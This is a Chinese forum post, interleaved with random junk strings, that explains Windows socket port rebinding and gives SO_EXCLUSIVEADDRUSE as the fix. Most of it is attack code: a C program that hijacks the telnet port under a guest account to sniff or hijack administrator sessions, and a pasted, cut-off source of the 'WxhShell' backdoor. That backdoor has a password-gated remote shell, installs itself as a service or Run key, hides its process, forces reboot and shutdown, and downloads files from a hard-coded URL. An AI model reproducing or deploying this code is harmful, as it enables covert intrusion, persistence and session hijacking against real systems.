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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wUJcmM;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =7UsVn#o  
4CTi]E=H{  
  saddr.sin_family = AF_INET; [dz _R  
MF'JeM;H  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gs`q6 f%(  
"#g}ve,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )boE/4  
~wdGd+ez  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 M"L=L5OH-  
+lTq^4  
  这意味着什么?意味着可以进行如下的攻击: 1|:KQl2q  
.e-#yET  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *0ro0Z|Iq  
uXiN~j &Be  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) k;Y5BB  
`WS&rmq&'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |N]XJ)?  
/gas2k==^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  l U]nd[x  
@ N m@]q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 # f\rt   
EdX$(scu~B  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5bb(/YtFy  
NxILRKwO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1\.pMHv/  
\b>] 8Un"  
  #include 4^d?D!j  
  #include 4I[P>  
  #include cz$2R  
  #include    VxBo1\'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !5N.B|N t  
  int main() -Qe'YBy:  
  { Y4YJJYvD  
  WORD wVersionRequested; d_P` qA  
  DWORD ret; 9tnD=A<PS  
  WSADATA wsaData; 1 -b_~DF  
  BOOL val; 2&5K. Ui%  
  SOCKADDR_IN saddr; GtHivC  
  SOCKADDR_IN scaddr; R@2X3s:  
  int err; %}T6]S)%u  
  SOCKET s; 2A!FDr~cdT  
  SOCKET sc; phz&zl D  
  int caddsize; 5-A\9UC*@  
  HANDLE mt; Yr|4Fl~U  
  DWORD tid;   7-A2_!_x{  
  wVersionRequested = MAKEWORD( 2, 2 ); Ea=P2:3*  
  err = WSAStartup( wVersionRequested, &wsaData ); t`QENXA}  
  if ( err != 0 ) { cc3 4e  
  printf("error!WSAStartup failed!\n"); i@'dH3-kO  
  return -1; K,UMqAmk  
  } {xB3S_,8  
  saddr.sin_family = AF_INET; :E?V.  
   g\AY|;T  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 fc@A0Hf  
j+YJbL v  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); XX~,>Q}H=  
  saddr.sin_port = htons(23); ,u!sjx  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PI<vxjOK`  
  { wA.\i  
  printf("error!socket failed!\n"); =R\]=cRbg  
  return -1; dqAw5[qMJ  
  } 1:wQ.T  
  val = TRUE; K|@G t%Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .e5Mnd%$M  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L%5%T;0'~  
  { et+0FF ,  
  printf("error!setsockopt failed!\n"); wNX]7wMX  
  return -1; |K~Nw&rZ]  
  } mV m Gg,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )}ROLe  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?1".;foZ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A\;U3Zu  
-^wl>}#*T3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :H[6Lg\*  
  { Rva$IX ^]  
  ret=GetLastError(); jqkqZF  
  printf("error!bind failed!\n"); @|)Z"m7  
  return -1; &?RQZHtg  
  } 6zn5UW#q  
  listen(s,2); `,0}ZzaV&  
  while(1) 6@Y|"b  
  { 1nOCQ\$l  
  caddsize = sizeof(scaddr); >i O!*&Y>  
  //接受连接请求 A(N4N  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); I O> yIU[  
  if(sc!=INVALID_SOCKET) "*H`HRi4T  
  { yppo6HGD  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); u]gxFG "   
  if(mt==NULL) u-C)v*#L  
  { {y;n:^  
  printf("Thread Creat Failed!\n"); Xry4 7a )  
  break; %%wNZ{  
  } $mB;K]m  
  } s9d_GhT%-  
  CloseHandle(mt); 6aV_@no.C  
  } IIqUZJ  
  closesocket(s); {}x^ri~  
  WSACleanup(); l NBL4yM  
  return 0; sN wI 0o  
  }   'Z|mQZN  
  DWORD WINAPI ClientThread(LPVOID lpParam) m#F`] {  
  { bs'n+:X `  
  SOCKET ss = (SOCKET)lpParam;  f V(J|  
  SOCKET sc; t()c=8qF|u  
  unsigned char buf[4096]; 4'Zp-k?5`  
  SOCKADDR_IN saddr; zv"Z DRW  
  long num; DFTyMB1H  
  DWORD val; as_PoCoss  
  DWORD ret; @OHm#`~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 d^6M9lGU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   I!?}jo3  
  saddr.sin_family = AF_INET; '`<w#z}AF  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); IaXeRq?<  
  saddr.sin_port = htons(23); C>w|a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) alvrh'51  
  { \'bzt"f$j  
  printf("error!socket failed!\n"); "-J -k=  
  return -1; *D3/@S$B  
  } 3%ZOKb"D*  
  val = 100; :08,JL{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '08=yqy4N  
  { 8ITdSg  
  ret = GetLastError(); W{gb:^;zb  
  return -1; :4%k9BGAj"  
  } |H+Wed|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J9[r|`gJ(  
  { `^y7f  
  ret = GetLastError(); uU25iDn  
  return -1; j,dR,Nd  
  } iW /}#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (=@h23 vH  
  { {,~3.5u   
  printf("error!socket connect failed!\n"); H DFOA  
  closesocket(sc); w)Qp?k d  
  closesocket(ss); t1y4 7fX6  
  return -1; ]wG{!0pl  
  } 1PV'?tXp(  
  while(1) P}7'm M  
  { `lt"[K<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $'hEz/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~O &:C{9=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =$Nq   
  num = recv(ss,buf,4096,0); 7{I0s;R  
  if(num>0) KNIn:K^/  
  send(sc,buf,num,0); uGEfIy 2  
  else if(num==0) ~1vDV>dpE  
  break; ,>mrPtxN  
  num = recv(sc,buf,4096,0); c|@bwat4  
  if(num>0) -I,$_  
  send(ss,buf,num,0); (c &mCJN  
  else if(num==0) C={Y;C1  
  break; <;Zmjeb+#  
  } DG:Z=LuJr  
  closesocket(ss); czRFMYE  
  closesocket(sc); \Et3|Iv  
  return 0 ; =.]4;z  
  } S2VA{9:m  
FSW_<%  
Ks`J([(W&  
========================================================== iVq'r4S  
PKg@[<g43  
下边附上一个代码,,WXhSHELL ]a*d#  
54R#W:t  
========================================================== GM f `A,>  
*VhL\IjN]  
#include "stdafx.h" *kDCliL  
8(&[Rs?K  
#include <stdio.h> )g#T9tx2D  
#include <string.h> !/i{l  
#include <windows.h> CxOob1@  
#include <winsock2.h> mQ 26K~  
#include <winsvc.h> :hk5 .[  
#include <urlmon.h> ;dZZ;#k%  
%^GfS@t  
#pragma comment (lib, "Ws2_32.lib") RF53Jyt  
#pragma comment (lib, "urlmon.lib") hxd`OG<gF  
,,Q O^j]4~  
#define MAX_USER   100 // 最大客户端连接数 BdblLUGK#  
#define BUF_SOCK   200 // sock buffer [H^z-6x:0  
#define KEY_BUFF   255 // 输入 buffer lKp"xcAD  
tKx~1-  
#define REBOOT     0   // 重启 F]]]y5t  
#define SHUTDOWN   1   // 关机 &n}f?  
>kDQkhZ  
#define DEF_PORT   5000 // 监听端口 gANuBWh8T  
{|_M # w~&  
#define REG_LEN     16   // 注册表键长度 O-GJ-  
#define SVC_LEN     80   // NT服务名长度 })8N5C+KU  
s.N/2F& *W  
// 从dll定义API suiS&$-E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I%X6T@P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z=Y& B>:[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YPK(be_|I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u9GQU  
m6&~HfwN  
// wxhshell配置信息 \[_t]'p  
struct WSCFG { J0\Fhe0'  
  int ws_port;         // 监听端口 g:D>.lKd  
  char ws_passstr[REG_LEN]; // 口令 dIa+K?INX  
  int ws_autoins;       // 安装标记, 1=yes 0=no L Mbn  
  char ws_regname[REG_LEN]; // 注册表键名 l%puHZ)t  
  char ws_svcname[REG_LEN]; // 服务名 =9["+;\e&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xH(lm2kvT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pW@Pt 3u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E+R1 !.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,+vy,<e&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ith 3 =`3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [OV"}<V  
tI TS1  
}; H*&f:mfq  
@qqg e'  
// default Wxhshell configuration )=Z>#iH1  
struct WSCFG wscfg={DEF_PORT, YY((V@|K  
    "xuhuanlingzhe", zH4D8@[7O  
    1, XQs1eP'{  
    "Wxhshell", THbh%)Zv+  
    "Wxhshell", B=yqW  
            "WxhShell Service", 8# >op6^  
    "Wrsky Windows CmdShell Service", t?ZI".>  
    "Please Input Your Password: ", #ASz;$P  
  1, 5uNJx5g  
  "http://www.wrsky.com/wxhshell.exe", 4(~L#}:r!  
  "Wxhshell.exe" *1 ]uH e  
    }; !M]uL&:  
D},>mfzF  
// 消息定义模块 pV +|o.<C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  |`f$tj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _ Yx]_Y9I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z8~NZ;A  
char *msg_ws_ext="\n\rExit."; :O?MSS;~  
char *msg_ws_end="\n\rQuit."; ARVf[BAJ-*  
char *msg_ws_boot="\n\rReboot..."; axRV:w;E<  
char *msg_ws_poff="\n\rShutdown..."; z^q0/'  
char *msg_ws_down="\n\rSave to "; P[#e/qnXu|  
KB,j7 ~V  
char *msg_ws_err="\n\rErr!"; 6BHXp# #z  
char *msg_ws_ok="\n\rOK!"; wj<6kG  
9J*\T(W  
char ExeFile[MAX_PATH]; f ue(UMF~  
int nUser = 0; .E1rqBG  
HANDLE handles[MAX_USER]; E7 Ul;d  
int OsIsNt; BB$>h}  
i2A81>68<  
SERVICE_STATUS       serviceStatus; kr5">"7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *74MWF@IY  
+I:Unp  
// 函数声明 cAqLE\h  
int Install(void); Nw/  ku  
int Uninstall(void);  E`0?  
int DownloadFile(char *sURL, SOCKET wsh); |'8Nh  
int Boot(int flag); ]z;I _-  
void HideProc(void); mPK:R^RjG&  
int GetOsVer(void); )VS=E7[  
int Wxhshell(SOCKET wsl); 4*#18<u5  
void TalkWithClient(void *cs); omu|yCK  
int CmdShell(SOCKET sock); m6K}|j  
int StartFromService(void); j'<<4.(  
int StartWxhshell(LPSTR lpCmdLine); K.nHii   
sPQQ"|wU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4Zddw0|2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T|op$ s|  
T_ <@..C  
// 数据结构和表定义 l^-];|Y  
SERVICE_TABLE_ENTRY DispatchTable[] =  #ut  
{ !bx;Ta.  
{wscfg.ws_svcname, NTServiceMain}, 3`|@H-c9  
{NULL, NULL} ")5":V~fN  
}; vY}g<*  
A_ZY=jP   
// 自我安装 a=1@*ID  
int Install(void) ;_I8^?d  
{ q=m'^ ,gPS  
  char svExeFile[MAX_PATH]; g \:[ 55;8  
  HKEY key; HTS0s\R$  
  strcpy(svExeFile,ExeFile); %y[h5*y*  
{.|CdqwY  
// 如果是win9x系统,修改注册表设为自启动 #&k5 d:  
if(!OsIsNt) { Tc:)- z[o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t+ G#{n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9uO 2Mm  
  RegCloseKey(key); cn3\kT*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +oML&g-g_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F6|]4H.3Q  
  RegCloseKey(key); D|p9qe5%  
  return 0; QXFo1m  
    } :#ik. D  
  } !zpRrx_  
} vX"*4m>b?+  
else { 'ya{9EdlT  
@%uUiP0  
// 如果是NT以上系统,安装为系统服务 (OL4Ex']  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a0E)2vt4  
if (schSCManager!=0) %E>Aw>] v  
{ 50wulGJud  
  SC_HANDLE schService = CreateService c_pr  
  ( 9T9!kb  
  schSCManager, UnV.~u~  
  wscfg.ws_svcname, 4f@rv^f(X  
  wscfg.ws_svcdisp, i$#;Kpb`^  
  SERVICE_ALL_ACCESS, q:0N<$63  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  'KL0@l  
  SERVICE_AUTO_START, Eyqa?$R  
  SERVICE_ERROR_NORMAL, CwzZ8.o$i  
  svExeFile, $( kF#  
  NULL, a#k6&3m&  
  NULL, ZJJY8k `  
  NULL, 1(R}tRR7R  
  NULL, u4?L 67x  
  NULL Y\P8 v  
  ); ,R\ \%  
  if (schService!=0) [ l??A3G  
  { P3=G1=47U  
  CloseServiceHandle(schService); Bm<`n;m  
  CloseServiceHandle(schSCManager); -d/ =5yxL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); : *#-%0  
  strcat(svExeFile,wscfg.ws_svcname);  7xlkZF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AV]2 euyn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ? :%@vM  
  RegCloseKey(key); 3;9^  
  return 0; {dlXLx!B  
    } K@]4g49A/j  
  } `/+>a8  
  CloseServiceHandle(schSCManager); /36:ms A  
} Wvh#:Z  
} n( yn<  
Hvi49c]]  
return 1; 9W5lSX#^;  
} vI >w e  
;igIZ$&  
// 自我卸载 <n$'voR7]  
int Uninstall(void) .~;\eW[  
{ qe#tj/aZ  
  HKEY key; ? OM!+O  
q?yVR3]M  
if(!OsIsNt) { F)QDJE0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tDcT%D {:  
  RegDeleteValue(key,wscfg.ws_regname); lUZ+YD4  
  RegCloseKey(key); =UQ3HQD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K\r8g=U  
  RegDeleteValue(key,wscfg.ws_regname); !Ai@$tl[S  
  RegCloseKey(key); (w3YvG.  
  return 0; 6nvz8f3*r]  
  } \M^bD4';>  
} M%m4i9~!?  
} f$$/H>MJ  
else { {!L~@r  
Q)h(nbbVak  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #;yZ  
if (schSCManager!=0) r#a=@  
{ x 9fip-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  =:pJ  
  if (schService!=0) 5t]H?b8  
  { XRi8Gpg  
  if(DeleteService(schService)!=0) { kDxFloK  
  CloseServiceHandle(schService); _Fl9>C"u  
  CloseServiceHandle(schSCManager); Vc Z3 X4/  
  return 0; W|mo5qrLS2  
  } TvbE2Q;/UL  
  CloseServiceHandle(schService); 3]S$ih&A  
  } )y$(AJx$  
  CloseServiceHandle(schSCManager); ;.980+i1  
} ~c `l@:  
} 4tBYR9|  
I efn$  
return 1; iYy1!\  
} YaqJ,"GlT  
|CyE5i0  
// 从指定url下载文件 c^W)07-X5y  
int DownloadFile(char *sURL, SOCKET wsh) 3!]rmZ-W  
{ ` Sz}`+E  
  HRESULT hr; tWc Hb #  
char seps[]= "/"; <LiPEo.R  
char *token; InI$:kJ  
char *file; i/Zd8+.n$  
char myURL[MAX_PATH]; (4nq>;$3  
char myFILE[MAX_PATH]; j3Y['xDv  
J|73.&B  
strcpy(myURL,sURL); w}L[u r;I_  
  token=strtok(myURL,seps); +N U G  
  while(token!=NULL) t?FBG4  
  { 9pfIzs su3  
    file=token; ~P-mC@C  
  token=strtok(NULL,seps); ,ig/s2ZG6X  
  } G3T]`Atf  
5b7RY V  
GetCurrentDirectory(MAX_PATH,myFILE); Q3?F(ER@  
strcat(myFILE, "\\"); )^hbsMhO  
strcat(myFILE, file); qHsA1<wg  
  send(wsh,myFILE,strlen(myFILE),0); @H8EWTZ  
send(wsh,"...",3,0); ]ZS OM\}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <#4h}_xA%  
  if(hr==S_OK) )4;`^]F  
return 0; |R:'\+E  
else lyhiFkO iH  
return 1; R4d=S4 i  
'J|_2*  
} "0TZTa1e  
x,' !gT:j  
// 系统电源模块 u ^RxD^=L  
int Boot(int flag) G3v5KmT  
{ j'K/22  
  HANDLE hToken; |y!A&d=xYn  
  TOKEN_PRIVILEGES tkp; ^LLzZnkcZ  
],].zlN  
  if(OsIsNt) { /Z4et'Lo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HxI" 8A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BJ(M2|VH  
    tkp.PrivilegeCount = 1; ,R|BG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w4Z'K&d=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1h5 Akq  
if(flag==REBOOT) { i@J ;G`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e96k{C`j0  
  return 0; )!T/3|C  
} }ad|g6i`  
else { (7*}-Uy[C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i!Ga5v8n:  
  return 0; @KAI4LP  
} Z?z.?a r  
  } :BT q!>s  
  else { { (}By/_  
if(flag==REBOOT) { m l$o5&sN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?bu>r=oIO]  
  return 0; Wm5 dk9&x  
} HpnWo DM  
else { Y6d@h? ht  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fikkY=  
  return 0; @=kSo -SX  
} J$v?T$LVw  
} PFK  '$  
CJI~_3+K  
return 1; B7vpsSL  
} Q NVa?'0"Y  
7VI*N)OZ8  
// win9x进程隐藏模块 {]|J5Dgfe  
void HideProc(void) -Y;3I00(  
{ X[TR3[1}  
#R RRu2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jF*j0PkNdb  
  if ( hKernel != NULL ) & ZB  
  { ^sg,\zD 'X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9~YMyg(Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WMP,\=6k0  
    FreeLibrary(hKernel); nt.y !k  
  } B?o7e<l[  
u> / TE  
return; 5NLDYi@3  
} ;6hOx(>`=  
CVR3 A'  
// 获取操作系统版本 ^/=KK:n~  
int GetOsVer(void) Pr,q*_Yy  
{ W+1^4::+  
  OSVERSIONINFO winfo; R_xRp&5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7vj2 `+r.  
  GetVersionEx(&winfo); Vs{|xG7W D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O<W_fx8_'  
  return 1; Oz#{S:24M+  
  else pFz`}?c0  
  return 0; S>; 5[l 4  
} VOh4#%Vj  
maR"t+  
// 客户端句柄模块 _t}WsEQ+P  
int Wxhshell(SOCKET wsl) 5QO9Q]I#_\  
{ hwNf~3eJk  
  SOCKET wsh; vgN&K@hJ  
  struct sockaddr_in client; Y:)e(c"A  
  DWORD myID;  1ZB"EQ  
m<2M4u   
  while(nUser<MAX_USER) GNJj=1Lsd  
{ W'u>#  
  int nSize=sizeof(client); 01(AK%e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xFg>SJ7]  
  if(wsh==INVALID_SOCKET) return 1; iMRwp+$  
dN[\xVcj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Nu~lsWyRI5  
if(handles[nUser]==0) U\!X,a*ts{  
  closesocket(wsh); TrR8?-  
else n>U5R_T  
  nUser++; sds"%]r g  
  } H~z`]5CN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Hl |z</*+  
r0 uwPf  
  return 0; DrK{}uM  
} R0  
LvYB7<zk>  
// 关闭 socket fL7xq$K  
void CloseIt(SOCKET wsh) J`1rJ  
{ ,U dVNA  
closesocket(wsh); D=&Me=$  
nUser--; ZO$%[ftb  
ExitThread(0); c<$OA=n  
} SGlNKA},A  
`%WU8Yv  
// 客户端请求句柄 CF5`-wj/#  
void TalkWithClient(void *cs) Q6I:"2u1  
{ i&GH/y  
ZLAy- 9^Y  
  SOCKET wsh=(SOCKET)cs; 8E]F$.6U  
  char pwd[SVC_LEN]; L5:$U>H(  
  char cmd[KEY_BUFF]; rguCp}r  
char chr[1]; Nf1-!u7  
int i,j; yY&I dE  
mF^v~  
  while (nUser < MAX_USER) { iTU5l5Uz  
aPbE;" f  
if(wscfg.ws_passstr) { ;q6Ki.D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5( HG|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bh]P{H%  
  //ZeroMemory(pwd,KEY_BUFF); s#=7IH30  
      i=0; J!U}iD@occ  
  while(i<SVC_LEN) { F6 flIG&h  
M?uC%x+S$_  
  // 设置超时 _[ZO p ~  
  fd_set FdRead; :${HQd+  
  struct timeval TimeOut; Jz *;q~  
  FD_ZERO(&FdRead); X1vd'>  
  FD_SET(wsh,&FdRead); JbQ) sp  
  TimeOut.tv_sec=8; |64~ K\X  
  TimeOut.tv_usec=0; >> fH{/l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F;0}x;:>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B%+T2=&$7  
WWHoi{ q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _8UDT^?8,  
  pwd=chr[0]; k-OPU ,  
  if(chr[0]==0xd || chr[0]==0xa) { yFlm[K5YD  
  pwd=0; ,>+p-M8ZL  
  break; "y/?WQ>,3  
  } 8k1Dj1@0z  
  i++; oJ|j#+Ft  
    } `t'W2X  
O2dW6bt  
  // 如果是非法用户,关闭 socket hJ~Uf5Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bTs?!~q  
} ; _1 at  
1gN=-AC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }"!I[Ek> y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g:Xhw$x9  
+@k+2?] FO  
while(1) { ~d*(=G  
+8Ymw:D7a  
  ZeroMemory(cmd,KEY_BUFF); .rqhi  
?[Q3q4  
      // 自动支持客户端 telnet标准   en*GM}<V  
  j=0; G@jZ)2  
  while(j<KEY_BUFF) { ia E^a^*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "v({ ,  
  cmd[j]=chr[0]; MC:@U~}6  
  if(chr[0]==0xa || chr[0]==0xd) { x%!s:LVX  
  cmd[j]=0; 8jo p_PG'  
  break; 8~z~_TD6m@  
  } J!pygn O  
  j++; nWYN Np?h  
    } .NC:;@y  
d,Yw5$i  
  // 下载文件 64G[|" j D  
  if(strstr(cmd,"http://")) { Df<xWd2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ``\i58K{e  
  if(DownloadFile(cmd,wsh)) K<qk.~ S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *ipFwQ  
  else @ H7d_S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MWpQ^dL_  
  } %r}{hq4  
  else { :^WKT  
?6un4EVL{  
    switch(cmd[0]) { r6} |hpJ8  
  hYNY"VB  
  // 帮助 X"e5 Y!:M-  
  case '?': { v}O30wE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *|C^=*j9  
    break; kG@@ot" n  
  } =Og)q$AL  
  // 安装 EwC{R`  
  case 'i': { p&bROuw<T  
    if(Install()) p~^D\jR.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J|kR5'?x  
    else %gyLCTw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yu[ t\/  
    break; Raxrb=7  
    } o` ZQd,3  
  // 卸载 %]DP#~7[|  
  case 'r': { `V]5sE]G  
    if(Uninstall()) qx8fRIK%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); luuX2Mx>o  
    else w' OXlR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +HeTtFo{M  
    break; g-H N  
    } [los dnH^?  
  // 显示 wxhshell 所在路径 O[s{ Gk'>  
  case 'p': { 7/ysVWt  
    char svExeFile[MAX_PATH]; I)cFG{~L  
    strcpy(svExeFile,"\n\r"); 6@e+C;j =  
      strcat(svExeFile,ExeFile); D 38$`j  
        send(wsh,svExeFile,strlen(svExeFile),0); KJ=6n%6  
    break; ZP *q4:  
    } Co9QW/'i  
  // 重启 'EF9Zt8  
  case 'b': { E4W -hq~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TRQF^P3o  
    if(Boot(REBOOT)) OjF_ %5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V9( @Y  
    else { L ugn 3+  
    closesocket(wsh); O-cbX/d  
    ExitThread(0); RGg(%.  
    } ,M6 Sy]Aj  
    break; OCJnjlV%  
    } e7(ucE  
  // 关机 jbu8~\"  
  case 'd': { J(%0z:exs  
